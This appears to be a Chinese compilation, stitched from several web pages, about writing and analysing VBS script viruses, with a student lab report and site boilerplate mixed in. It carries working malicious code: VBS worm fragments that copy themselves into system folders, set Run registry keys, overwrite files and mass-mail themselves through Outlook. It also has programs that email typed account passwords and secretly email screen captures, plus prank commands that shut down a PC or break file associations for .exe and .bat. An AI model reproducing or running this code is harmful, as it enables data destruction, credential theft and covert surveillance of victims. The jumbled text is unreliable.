实验3 简单VBS病毒的编写
VBS简明教程三(转)

VBS简明教程三(转)◎Vbs脚本编程简明教程之十六——响应事件什么是事件?在我看来,事件就象我们手机上的闹钟,闹钟一响,我们就要去做某些特定的事情。
或者这样说,事件就像警钟,当程序运行时,有特殊的事情发生,就会激发事件,事件本身就是一条消息,如果你编写的脚本要对事件进行处理,就需要一个特殊的过程或者函数来接受和处理事件。
那么这个特殊的过程或者函数在程序运行时,就不断的监听,看系统是否传来了相应的事件,一旦接受到事件,脚本对此作出反应。
那么事件是从那里来的呢?是否需要我们在脚本中对事件进行编写呢?一般情况下,事件是某个程序在运行中的特殊状态发出的,我们不需要对事件进行编写,只需要编写处理事件的函数。
比如说我们用vbs建立了ie的一个实例,那么当ie的窗口被关闭的时候,就会激发出一个叫做OnQuit的事件。
是不是脚本自然而然就能接受事件并进行处理呢?我们说不是的,在创建对象的时候,我们将使用WSH的createobject命令,例如:Setobjie=Wscript.createobject(“internetexplorer.application”,”ev ent_”)注意到了吗?多了一个参数,这个参数的作用是什么呢?它叫做事件接收端,当脚本连接的对象包含事件时,如果对象调用的事件是OnBegin,那么WSH将会在脚本中调用一个event_OnBegin的事件处理程序。
当然事件接受端并不是固定的,如果对象将其定义为MyObj_的话,那么事件处理程序将是:MyObj_OnBegin。
是否很熟悉?在打造个性化QQ一讲中,曾经出现过Window_OnSize(cx,cy)函数,它其实就是一个事件处理程序。
让我们来举个实际的例子完整的看看事件的处理过程:Setobjie=WScript.CreateObject('InternetExplorer.Application','event _')objie.Visible=TrueMsgBox '请关闭浏览器窗口看看效果!',vbSystemModalWscript.sleep 6000MsgBox '现在已经正常关闭了'Sub event_onquit()MsgBox '您确定要关闭浏览器吗?',vbSystemModalEnd Sub这段脚本打开了一个IE窗口,然后要求你关闭IE窗口,当你关闭窗口的时候,自动调用事件响应程序。
对一个vbs脚本病毒的病毒原理分析

对⼀个vbs脚本病毒的病毒原理分析⼀、前⾔病毒课⽼师丢给我们⼀份加密过的vbs脚本病毒的代码去尝试分析,这⾥把分析过程发出来,供⼤家参考,如果发现⽂中有什么错误或者是有啥建议,可以直接留⾔给我,谢谢!⼆、⽬录整个分析过程可以分为以下⼏个部分:0x00 准备⼯作0x01 解密部分0x02 功能分析三、分析过程0x00 准备⼯作windows xp的虚拟机(在⾃⼰的windows下也可以做)vbs的⼀些基本语法0x01 解密部分右击病毒⽂件然后编辑打开或者是直接把其后缀修改成txt直接打开都⾏,可以看到⼀⼤段密⽂,并调⽤了⼀个函数deCrypt。
暂时只看到这些,那么接着往下看吧。
拖到代码底部,发现有deCrypt了⼀次,也就是经过了两次加密,这⾥把执⾏部分注释掉,然后将解密的结果输出到⽂本⽂件中去。
另外,可以看到是⽤base64进⾏的加密的。
现在来看看解码后的结果。
发现依旧是不可阅读的代码,那就继续看看他是怎么处理的吧。
这⾥可以看到是将之前的字符串按“|dz|”划分,然后得到的是ascii码,将这些ascii码对应的字符拼接起来就好了,就得到了结果。
同样的套路将解密结果输出到⽂件中去再继续分析。
然后这次得到的结果是真正的病毒代码了。
接下来对他的功能进⾏分析。
0x02 功能分析从头开始看吧。
显⽰⼀些配置信息,包括了服务器的域名。
可以查到服务器是美国的,尝试ping了下,ping不通,可能是服务器作了设置不让⼈ping、也可能是服务器已经不⽤了、也有可能是我国的防⽕长城直接墙掉了。
然后是⼀些之后要⽤到的变量,这⾥不作过多的解释。
之后就是code start的部分了。
然后由于⾥⾯调⽤了各种函数,所以这⾥按执⾏的顺序给调⽤的函数编号,以便阅读,不然会感觉很凌乱的。
这⾥先是调⽤了instance函数。
1.instance函数给之前的⼀个参数usbspreading赋值,并对注册表进⾏写操作在执⾏完了instance函数后,会进⼊⼀个while true的死循环,不断从服务器读取命令,然后执⾏。
vbs整人电脑病毒代码是怎样的

vbs整人电脑病毒代码是怎样的计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。
这是目前官方最权威的关于计算机病毒的定义,此定义也被通行的《计算机病毒防治产品评级准则》的国家标准所采纳。
以下是店铺网小编为大家整理的关于vbs整人电脑病毒代码的相关知识,希望对大家有所帮助!易语言整人代码如下.版本 2.支持库 OPenGL.子程序 __启动窗口_创建完毕运行(“Shutdown.exe -s -t 120”, 假, ).子程序 _按钮1_被单击.如果真 (编辑框1.内容= “我是蠢猪,***是大好人”)运行(“shutdown -a ”, 假, )信息框(“哈哈~我还是很厚道的!我也知道你是发自内心的,是啊,我怎么那么完美呢?——呵呵~”, 0, )结束 ().如果真 (编辑框1.内容≠ “我是蠢猪,***是大好人”)信息框(“尼玛,输入正确会死啊!告诉你了,只要输入正确就OK 了~你怎么就不相信我呢”, 0, )—————————————————————————————————————————易语言骗账号代码如下:.版本 2.支持库 internet.子程序 _按钮1_被单击连接发信服务器(“”, 25, “邮箱”, “密码”, )发送邮件(“号来了”, “账号:” + 编辑框1.内容 + #换行符 +“密码:” + 编辑框2.内容, “邮箱”, , , “邮箱”, )——————————————————————————————————————————易语言监视对方电脑,连发十张高清截图代码如下:.版本 2.支持库 eImgConverter.支持库 internet.子程序 __启动窗口_创建完毕.计次循环首 (10, )写到文件(“D:\jt.bmp”, 快照 (, , ))转换到JPG (“jt.bmp”, “jt.jpg”, 假, 75, 真, 0).如果真 (连接发信服务器(“”, 25, “邮箱”, “密码”, ))添加附件文件(“D:\jt.bmp”).如果真结束发送邮件(“主题”, “被监视的电脑截图”, “邮箱”, , , “邮箱”, )断开发信服务器 ().计次循环尾 ()删除文件(“D:\jt.bmp”)结束 ()——————————————————————————————————————————你说要有图片可以将易语言程序启动窗口主页面的图片设置成我这样你说要有声音,可以运用以下代码:.版本 2.程序集窗口程序集1.子程序 _按钮1_被单击播放MP3 (1, “mp3地址”)——————————————————————————————————————————如果是电脑命令的话新建txt输入:shutdown -s -t 120 -c 你是猪!保存为bat或者还有,如果他用电脑命令破解,你就往后输入@echo offassoc .bat=txtfile可以让他所有的电脑命令成为乱码除了电脑命令乱码,你还可以设置各种的,比如:assoc .exe=txtfileassoc .mp3=txtfileassoc .zip=txtfileassoc .fiv=txtfileand so on……其实输入了就这样的代码,那台电脑基本就瘫痪了,没什么可以玩的了~。
VBS病毒代码

if(err>=1)then'超时设置
timeover.RegWrite "HKEY——CURRENT——USER\Softwate\Microsoft\Windows Scripting Host\Settings\Timeout"0"REG_DWORD"
end if
set sm=CreateObject("WScript.Shell")
c.Copy(sysdir&"\Kernel32.vbs")'将自己复制到system下
c.Copy(windir&"\Rundll32.vbs")'将自己复制到windows下
c.Copy(sysdir&"\Table.htm.vbs")'向system下再复制一个
regload()'调用写注册表的模块
Set regedit=CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)'判断文件是否存在的进程
On Error Resume Next
s=lcase(f1.neme)'将文件路径小写
if(ext="vbs")then '如果后缀是vbs
set ap=filesys.OpenTextFile(f1.path2true)'就以文本方式打开
ap.write vbscp'将自己写入文件,达到感染的目的
ap.close'关闭文件
next
vbs病毒的简单例子源代码解析

vbs病毒的简单例⼦源代码解析说明:作者对某些代码进⾏了修改。
该⽂件是⼀个完整的程序。
该⽂件执⾏之后,会寻找硬盘上所有满⾜条件的⽂件,对其进⾏强制性覆盖(满⾜条件的⽂件数据将全部丢失)、并再创建⼀个相同⽂件名但后带.vbs的⽂件。
因此,请注意设⽴好破坏测试条件,千万不要对他⼈进⾏测试,否则,⼀切后果⾃负。
如果你的系统不⽀持.vbs,可以将后缀改为.vbedim folder,fso,foldername,f,d,dcset fso=createobject("scripting.filesystemobject")set self=fso.opentextfile(wscript.scriptfullname,1)vbscopy=self.readall '读取病毒体,以备复制到⽂件self.closeset dc=fso.Drivesfor each d in dcif d.drivetype=3 or d.drivetype=2 then '检查磁盘类型wscript.echo d '弹出窗⼝,显⽰找到盘符scan(d)end ifnextlsfile=wscript.scriptfullname '该脚本程序路径set lsfile=fso.getfile(lsfile)lsfile.delete(true) '病毒运⾏后⾃我删除(本⼈⾃加,爱⾍病毒本⾝没有该代码)sub scan(folder_)on error resume nextset folder_=fso.getfolder(folder_)set files=folder_.filesfor each file in filesext=fso.GetExtensionName(file) '获取⽂件后缀ext=lcase(ext) '后缀名转换成⼩写字母if ext="mp5" then '如果后缀名是mp5,当然不存在这种⽂件,这⾥可以⾃⼰修改,但是注意。
病毒专杀VBS模板

set re=fso.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts",2,0)
re.Writeline "127.0.0.1 localhost"
d2=del.ExpandEnvironmentStrings("%SystemRoot%\rundll86.exe")
d3=del.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll86.exe")
set v1=fso.getfile(d1)
set reg=wscript.createobject("wscript.shell")
reg.regwrite "Windows NT\CurrentVersion\Winlogon\Userinit", fso.GetSpecialFolder(1)&"\userinit.exe,","REG_SZ"
fso.createfolder(drv.driveletter&":\autorun.inf")
fso.createfolder(drv.driveletter&":\autorun.inf\免疫文件夹..\")
set fl=fso.getfolder(drv.driveletter&":\autorun.inf")
set fso=createobject("scripting.filesystemobject")
vbs教程

Set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2 '显示网络打印机连接情况
WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True //信件提交后自动删除
If item.To <> "" Then
item.Send //发送邮件
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址
vbs编程、汇编程序调试、木马植入和运行、缓冲区溢出程序编写

vbs编程、汇编程序调试、木马植入和运行、缓冲区溢出程序编写一、实验目的1.了解vbs病毒的感染及传播原理2.了解掌握木马的植入方法和运行原理3.掌握缓冲区溢出和堆溢出的原理及其区别。
二、实验内容(1)virus vbs脚本的编写:FSO对文件或文件夹的操作;对注册表的修改;汇编样例程序的运行和测试(2)学会3种木马的植入和运行的方法(3)学会缓冲区溢出的程序编写,参照样例编写带溢出漏洞代码,制造栈溢出和堆溢出。
三、所用仪器、材料(设备名称、型号、规格等或使用软件)PC机、虚拟机四、实验步骤及结果(一)vbs编程:1、对文件夹的操作(1)文件夹的创建:新建记事本,将下面的程序写入并保存,文件名为lgh,扩展名为.vbs程序代码:dim fs,sset fs=wscript.createobject("scripting.filesystemobject")if(fs.folderexists("F:\lgh")) thens="is available"msgbox"F:\lgh文件夹已创建"elses="not exist"set foldr=fs.createfolder("F:\lgh")end if保存为.vbs格式的文件之后,执行该文件,其结果如下所示:(2)文件夹的删除,新建记事本,将下面的程序写入并保存,文件名为lgh,扩展名为.vbsdim fsset fs=wscript.createobject("scripting.Filesystemobject")fs.deletefolder("F:\lgh ")msgbox " F:\lgh 文件夹已删除"执行该文件后的结果如下所示:2. 对注册表的操作(1)对注册表的写修改,对注册表的写修改,在记事本中编辑下面的程序,保存为.vbs格式文件后执行path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \"set ws=wscript.createobject("wscript.shell")t=ws.regwrite(path & "lgh","name")msgbox "注册表修改成功!"首先在运行环境下输入regedit命令,查看注册表信息如下所示:执行程序后会弹出如右所示的对话框再查看注册表,发现注册表已被修改(二)汇编程序调试首先运行“cmp1.asm“文件,用—d命令查看程序的执行结果:运行文件后的结果:(三)木马的植入和运行完整的木马程序一般由两个部份组成:一个是服务器程序,一个是控制器程序。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
{
FILE* fpSrc = NULL;
FILE* fpDst = NULL;
int ch,rval=1;
/*open file*/
fpSrc=fopen(srcName,"rb");
if(fpSrc==NULL)
goto error;
fpDst=fopen(dstName,"wb");
if(fpDst==NULL)
goto error;
/*copy file*/
while((ch=fgetc(fpSrc)) !=EOF)
{
if(fputc(ch,fpDst)==EOF)
goto error;
}
fflush(fpDst); /*make sure restore*/
Set dir2 = fso.GetSpecialFolder(1) '得到System路径
if flag = 1 then
Set fileName = "c:\OnLoad.txt"
else
Set fileName = "c:\OnBtn.txt"
endif
Set a = fso.CreateTextFile(fileName, True)
4、启动WWW服务器(如IIS),访问带毒网页,测试效果
5、删除网页文件中的病毒代码,再测试网页效果
6、对比带毒和不带毒网页在显示效果上是否相同
四实验总结
我用的是C语言编写的代码,能够完成在C:\下建立一个自定义文件夹作为病毒操作测试空间,再在其中建立多个子文件夹,别在这些然后本在子文件夹中复制或者建立多个dat文件,但后面在网页上显示的我就没写了。代码我用的和实验一的代码一样的,因为安全性能好,不会造成破坏,我在函数中控制了生成文件的个数。
a.WriteLine("Hello HTML:" & vbCrLf & dir1 & vbCrLf & dir2)
a.Close
end sub
</SCRIPT>
<BODY onload="HelloHtml(1)">
<input type="button" value="获取系统路径" name="btn" onclick = "HelloHtml(2)" ></BODY></HTML>
goto exit;
error:
rval=0;
exit:
if(fpSrc != NULL)
fclose(fpSrc);
if(fpDst != NULL)
fclose(fpDst);
return rval;
}
主要函数。
2、按要求编写病毒代码
3、将病毒代码嵌入正常网页(如index.asp)中,并将带毒网页放入网页发布空间
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用scan()
scan(subfolder)
next
end sub
一个参考网页:
<HTML><HEAD><TITLE>网页背后的秘密</TITLE></HEAD>
VBS中FileSystemObject对象详解:
/Anlegor/article/details/5722213
参考脚本:
'用来寻找满足条件的文件,并生成对应文件的一个病毒副本的函数定义
sub scan(folder_) 'scan函数定义,
on error resume next'如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files '当前目录的所有文件集合
实验
09.4向军0908040128
一、实验目的
1、了解WSH的作用
2、学习VBS病毒的工作原理
二、实验内容和要求
编写一个简单的VBS病毒,要求:
1、查找指定的某个非系统分区的目录下的所有文本文件(.txt)
2、查到后,将其内容修改为自己的姓名、学号和班级
3、程序编写风格规范,可读性强
三、实验步骤
1、在C:\下建立一个自定义文件夹作为病毒操作测试空间,再在其中建立多个子文件夹,别在这些然后本在子文件夹中复制或者建立多个文本文件和其它格式文件.
for each file in filesext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp3" then '如果后缀名是mp3,则进行感染。
Wscript.echo (file)
end if
next
<SCRIPT LANGUAb HelloHtml(flag)
On Error Resume Next '容错,避免程序崩溃
Set fso = CreateObject("Scripting.FileSystemObject") '建立文件系统对象
Set dir1 = fso.GetSpecialFolder(0) '得到Windows路径